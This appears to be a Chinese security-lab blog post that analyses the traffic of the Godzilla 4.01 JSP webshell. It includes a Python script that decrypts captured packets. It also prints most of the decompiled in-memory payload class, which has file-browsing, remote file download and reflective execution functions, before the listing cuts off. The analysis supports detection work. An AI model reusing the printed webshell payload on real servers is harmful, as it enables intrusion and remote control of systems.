点击蓝字 关注我们
✦
✦
日期:2022-04-11
作者:nothing
介绍:哥斯拉
4.01
版本JSPShell
流量分析。
0x00 前言
之前分析完了哥斯拉的phpshell
以后,常用的javashell
还没有分析,这次趁着有空便分析了一下。
0x01 哥斯拉加密模块分析
1.1 反编译
常规,先对godzilla.jar
包进行反编译,shell
的加密方法位置在:
"shells" packet->"cryptions" packet->"JavaAes" packet->JavaAesRaw class
简单从代码分析来看,encode
函数是加密函数,decode
函数是解密函数,但是两个函数也仅仅做了一次AES
算法的加密和解密罢了。
AES
加密的密钥来自用户提供的密钥经过MD5
的32位摘要后,取前16
位的值。
1.2 shell脚本
生成shell
脚本以后,内容如下:
JavaAesRaw.jsp
JavaAesBase64.jsp
可以看到,相比于JavaAesBase64
的脚本,Raw
的脚本相对来说比较简答一点,简单来说,就是对class
类构造以后进行常规的AES
加密,JavaAesBase64
的脚本则是AES
加密后多了一步base64
编码的操作。
0x02 流量分析
进行流量分析以后,我发现流程其实和PHP
版本的shell
差不太多。
接下来的流量已JavaAesRaw
版本的shell
为例进行分析。
先看流量:这是第一个TCP
数据包的内容。
先对第一个HTTP
数据包进行解密,解密代码如下:
import base64
from Crypto.Cipher import AES
import binascii
from Crypto.Util.Padding import pad, unpad
BLOCK_SIZE = 32
def aes_decode(data, key):
try:
aes = AES.new(str.encode(key), AES.MODE_ECB) # 初始化加密器
decrypted_text = aes.decrypt(pad(data,BLOCK_SIZE)) # 解密
decrypted_text = decrypted_text[:-(decrypted_text[-1])]
except Exception as e:
print(e)
return decrypted_text
key = '3c6e0b8a9c15224a'
s = "第一个数据包内容"
s = base64.b64decode(s)#binascii.a2b_hex(s)
s = aes_decode(s,key)
print(s)
解密后的内容不出所料,不是常规内容,直接输出是一堆乱码,但是写成文件后观察十六进制文件头,对比后发现是class
格式的内容。
于是保存成class
文件后放到jd-gui
里进行反编译查看代码内容,跟php
类型的shell
一样,也是注入了一大段包含多个功能函数的大马到内存里,然后去执行类容,如下所示:
package org.apache.coyote.util;
public class CompactStringObjectMap
extends ClassLoader
{
public CompactStringObjectMap() {}
public CompactStringObjectMap(ClassLoader loader)
{
super(loader);
}
public static final char[] toBase64 = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4',
'5', '6', '7', '8', '9', '+', '/' };
HashMap parameterMap = new HashMap();
HashMap sessionMap;
Object servletContext;
Object servletRequest;
Object httpSession;
byte[] requestData;
ByteArrayOutputStream outputStream;
public Class g(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
public byte[] run()
{
try
{
String className = get("evalClassName");
String methodName = get("methodName");
if (methodName != null)
{
if (className == null)
{
Method method = getClass().getMethod(methodName, null);
if (method.getReturnType().isAssignableFrom([B.class)) {
return (byte[])method.invoke(this, null);
}
return "this method returnType not is byte[]".getBytes();
}
Class evalClass = (Class)this.sessionMap.get(className);
if (evalClass != null)
{
Object object = evalClass.newInstance();
object.equals(this.parameterMap);
object.toString();
Object resultObject = this.parameterMap.get("result");
if (resultObject != null)
{
if ([B.class.isAssignableFrom(resultObject.getClass())) {
return (byte[])resultObject;
}
return "return typeErr".getBytes();
}
return new byte[0];
}
return "evalClass is null".getBytes();
}
return "method is null".getBytes();
}
catch (Throwable e)
{
ByteArrayOutputStream stream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(stream);
e.printStackTrace(printStream);
printStream.flush();
printStream.close();
return stream.toByteArray();
}
}
public void formatParameter()
{
this.parameterMap.clear();
this.parameterMap.put("sessionMap", this.sessionMap);
this.parameterMap.put("servletRequest", this.servletRequest);
this.parameterMap.put("servletContext", this.servletContext);
this.parameterMap.put("httpSession", this.httpSession);
byte[] parameterByte = this.requestData;
ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte);
ByteArrayOutputStream tp = new ByteArrayOutputStream();
String key = null;
byte[] lenB = new byte[4];
byte[] data = null;
try
{
GZIPInputStream inputStream = new GZIPInputStream(tStream);
for (;;)
{
byte t = (byte)inputStream.read();
if (t == -1) {
break;
}
if (t == 2)
{
key = new String(tp.toByteArray());
inputStream.read(lenB);
int len = bytesToInt(lenB);
data = new byte[len];
int readOneLen = 0;
while (readOneLen += inputStream.read(data, readOneLen, data.length - readOneLen) < data.length) {}
this.parameterMap.put(key, data);
tp.reset();
}
else
{
tp.write(t);
}
}
tp.close();
tStream.close();
inputStream.close();
}
catch (Exception localException) {}
}
public boolean equals(Object obj)
{
if ((obj != null) && (handle(obj)))
{
noLog(this.servletContext);
return true;
}
return false;
}
public boolean handle(Object obj)
{
if (obj == null) {
return false;
}
if (ByteArrayOutputStream.class.isAssignableFrom(obj.getClass()))
{
this.outputStream = ((ByteArrayOutputStream)obj);
return false;
}
if (supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
this.servletRequest = obj;
} else if (supportClass(obj, "%s.servlet.ServletRequest")) {
this.servletRequest = obj;
} else if ([B.class.isAssignableFrom(obj.getClass())) {
this.requestData = ((byte[])obj);
} else if (supportClass(obj, "%s.servlet.http.HttpSession")) {
this.httpSession = obj;
}
handlePayloadContext(obj);
if ((this.servletRequest != null) && (this.requestData == null))
{
Object retVObject = getMethodAndInvoke(this.servletRequest, "getAttribute", new Class[] { String.class },
new Object[] { "parameters" });
if ((retVObject != null) &&
([B.class.isAssignableFrom(retVObject.getClass()))) {
this.requestData = ((byte[])retVObject);
}
}
return true;
}
private void handlePayloadContext(Object obj)
{
try
{
Method getRequestMethod = getMethodByClass(obj.getClass(), "getRequest", null);
Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null);
Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null);
if ((getRequestMethod != null) && (this.servletRequest == null)) {
this.servletRequest = getRequestMethod.invoke(obj, null);
}
if ((getServletContextMethod != null) && (this.servletContext == null)) {
this.servletContext = getServletContextMethod.invoke(obj, null);
}
if ((getSessionMethod != null) && (this.httpSession == null)) {
this.httpSession = getSessionMethod.invoke(obj, null);
}
}
catch (Exception localException) {}
}
private boolean supportClass(Object obj, String classNameString)
{
if (obj == null) {
return false;
}
boolean ret = false;
Class c = null;
try
{
if ((c = getClass(String.format(classNameString, new Object[] { "javax" }))) != null) {
ret = c.isAssignableFrom(obj.getClass());
}
if (!ret) {
if ((c = getClass(String.format(classNameString, new Object[] { "jakarta" }))) != null) {
ret = c.isAssignableFrom(obj.getClass());
}
}
}
catch (Exception localException) {}
return ret;
}
public String toString()
{
String returnString = null;
if (this.outputStream != null) {
try
{
initSessionMap();
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream);
formatParameter();
if (this.parameterMap.get("evalNextData") != null)
{
run();
this.requestData = ((byte[])this.parameterMap.get("evalNextData"));
formatParameter();
}
gzipOutputStream.write(run());
gzipOutputStream.close();
this.outputStream.close();
}
catch (Throwable e)
{
returnString = e.getMessage();
}
} else {
returnString = "outputStream is null";
}
this.httpSession = null;
this.outputStream = null;
this.parameterMap = null;
this.requestData = null;
this.servletContext = null;
this.servletRequest = null;
this.sessionMap = null;
return returnString;
}
private void initSessionMap()
{
if (this.sessionMap == null)
{
if (getSessionAttribute("sessionMap") != null)
{
try
{
this.sessionMap = ((HashMap)getSessionAttribute("sessionMap"));
}
catch (Exception localException) {}
}
else
{
this.sessionMap = new HashMap();
try
{
setSessionAttribute("sessionMap", this.sessionMap);
}
catch (Exception localException1) {}
}
if (this.sessionMap == null) {
this.sessionMap = new HashMap();
}
}
}
public String get(String key)
{
try
{
return new String((byte[])this.parameterMap.get(key));
}
catch (Exception e) {}
return null;
}
public byte[] getByteArray(String key)
{
try
{
return (byte[])this.parameterMap.get(key);
}
catch (Exception e) {}
return null;
}
public byte[] test()
{
return "ok".getBytes();
}
public byte[] getFile()
{
String dirName = get("dirName");
if (dirName != null)
{
dirName = dirName.trim();
String buffer = new String();
try
{
String currentDir = new File(dirName).getAbsoluteFile() + "/";
File currentDirFile = new File(currentDir);
if (currentDirFile.exists())
{
File[] files = currentDirFile.listFiles();
buffer = buffer + "ok";
buffer = buffer + "n";
buffer = buffer + currentDir;
buffer = buffer + "n";
if (files != null) {
for (int i = 0; i < files.length; i++)
{
File file = files[i];
try
{
buffer = buffer + file.getName();
buffer = buffer + "t";
buffer = buffer + (file.isDirectory() ? "0" : "1");
buffer = buffer + "t";
buffer = buffer + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
.format(new Date(file.lastModified()));
buffer = buffer + "t";
buffer = buffer + Integer.toString((int)file.length());
buffer = buffer + "t";
String fileState = (file.canRead() ? "R" : "") + (file.canWrite() ? "W" : "") + (
getMethodByClass(File.class, "canExecute", null) != null ?
"" : file.canExecute() ? "X" :
"");
buffer = buffer + ((fileState == null) || (fileState.trim().length() == 0) ? "F" : fileState);
buffer = buffer + "n";
}
catch (Exception e)
{
buffer = buffer + e.getMessage();
buffer = buffer + "n";
}
}
}
}
else
{
return "dir does not exist".getBytes();
}
}
catch (Exception e)
{
return String.format("dir does not exist errMsg:%s", new Object[] { e.getMessage() }).getBytes();
}
return buffer.getBytes();
}
return "No parameter dirName".getBytes();
}
public String listFileRoot()
{
File[] files = File.listRoots();
String buffer = new String();
for (int i = 0; i < files.length; i++)
{
buffer = buffer + files[i].getPath();
buffer = buffer + ";";
}
return buffer;
}
public byte[] fileRemoteDown()
{
String url = get("url");
String saveFile = get("saveFile");
if ((url != null) && (saveFile != null))
{
FileOutputStream outputStream = null;
try
{
InputStream inputStream = new URL(url).openStream();
outputStream = new FileOutputStream(saveFile);
byte[] data = new byte[5120];
int readNum = -1;
while ((readNum = inputStream.read(data)) != -1) {
outputStream.write(data, 0, readNum);
}
outputStream.flush();
outputStream.close();
inputStream.close();
return "ok".getBytes();
}
catch (Exception e)
{
if (outputStream != null) {
try
{
outputStream.close();
}
catch (IOException e1)
{
return e1.getMessage().getBytes();
}
}
return String.format("%s : %s", new Object[] { e.getClass().getName(), e.getMessage() }).getBytes();
}
}
return "url or saveFile is null".getBytes();
}
public byte[] setFileAttr()
{
String type = get("type");
String attr = get("attr");
String fileName = get("fileName");
String ret = "Null";
if ((type != null) && (attr != null) && (fileName != null)) {
try
{
File file = new File(fileName);
if ("fileBasicAttr".equals(type))
{
if (getMethodByClass(// INTERNAL ERROR //
第一个数据包没有返回包,接着看第二个数据包,请求内容为:
d26414f92d691674f3dedb554e70202550ff681c03dcd3572f74df4c4c68d7078abb82808610aee869f51107d7d66f60
返回包内容为:
2c5fc8a643ef334889238c26a41b360daa0156f71b0cca70b8bee7612de7fe4e
按照常规方法去进行解密,发现解密完后的数据不是可见字符,针对文件头进行分析对比后,再结合注入的大马内容,发现是对请求和返回的数据都进行了gzip deflate
压缩。
把脚本改一下,加入一个decompress
函数就可以了。如下所示:
import base64
import zlib
from Crypto.Cipher import AES
import binascii
from Crypto.Util.Padding import pad, unpad
BLOCK_SIZE = 32
def aes_decode(data, key):
try:
aes = AES.new(str.encode(key), AES.MODE_ECB) # 初始化加密器
decrypted_text = aes.decrypt(pad(data,BLOCK_SIZE)) # 解密
decrypted_text = decrypted_text[:-(decrypted_text[-1])]
except Exception as e:
print(e)
return decrypted_text
key = '3c6e0b8a9c15224a'
s = "d26414f92d691674f3dedb554e70202550ff681c03dcd3572f74df4c4c68d7078abb82808610aee869f51107d7d66f60"
s = binascii.a2b_hex(s)#base64.b64decode(s)
s = aes_decode(s,key)
print(s,base64.b64encode(zlib.decompress(s,30)))
注意这里有两个坑点:
1、直接使用zlib.decompress
会出错,bits
大小不能过大,过大的话容易出错。
2、我在使用vscode
运行脚本输出的时候,直接隐藏后面输出,显示不完整,建议使用 base64
编码后另外找工具解码。
第一步,发送test
返回值ok
第二步 getbasicinfo
第三部 执行系统命令
流程大致如下:
1、将大马和各个功能函数注入内存。
2、发一个methodName test
包确认是否存活。
3、请求methodName basicinfo
,获取基本信息。
4、以上是哥斯拉马的通用特征,最下方两个数据包,是我单独执行的,cmdline
后面跟的是我执行的系统命令,返回root
。
至此,JavaAesRaw
版本的shell
就分析完成,至于JavaAesBase64
版本的也很简单,大致流程一样,就是多了一步base64
编码的过程,分析流量的时候,请求包直接解密多一步base64
解码过程,返回包解码的话要先把前缀和后缀字符去掉后再进行解密。
0x03 总结
综合来讲,哥斯拉使用了gzip deflate
方式对数据进行压缩后,大大提高了防安全设备检测的概率,相对来说更安全。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『杂项』哥斯拉4.01版本JSPShell流量分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论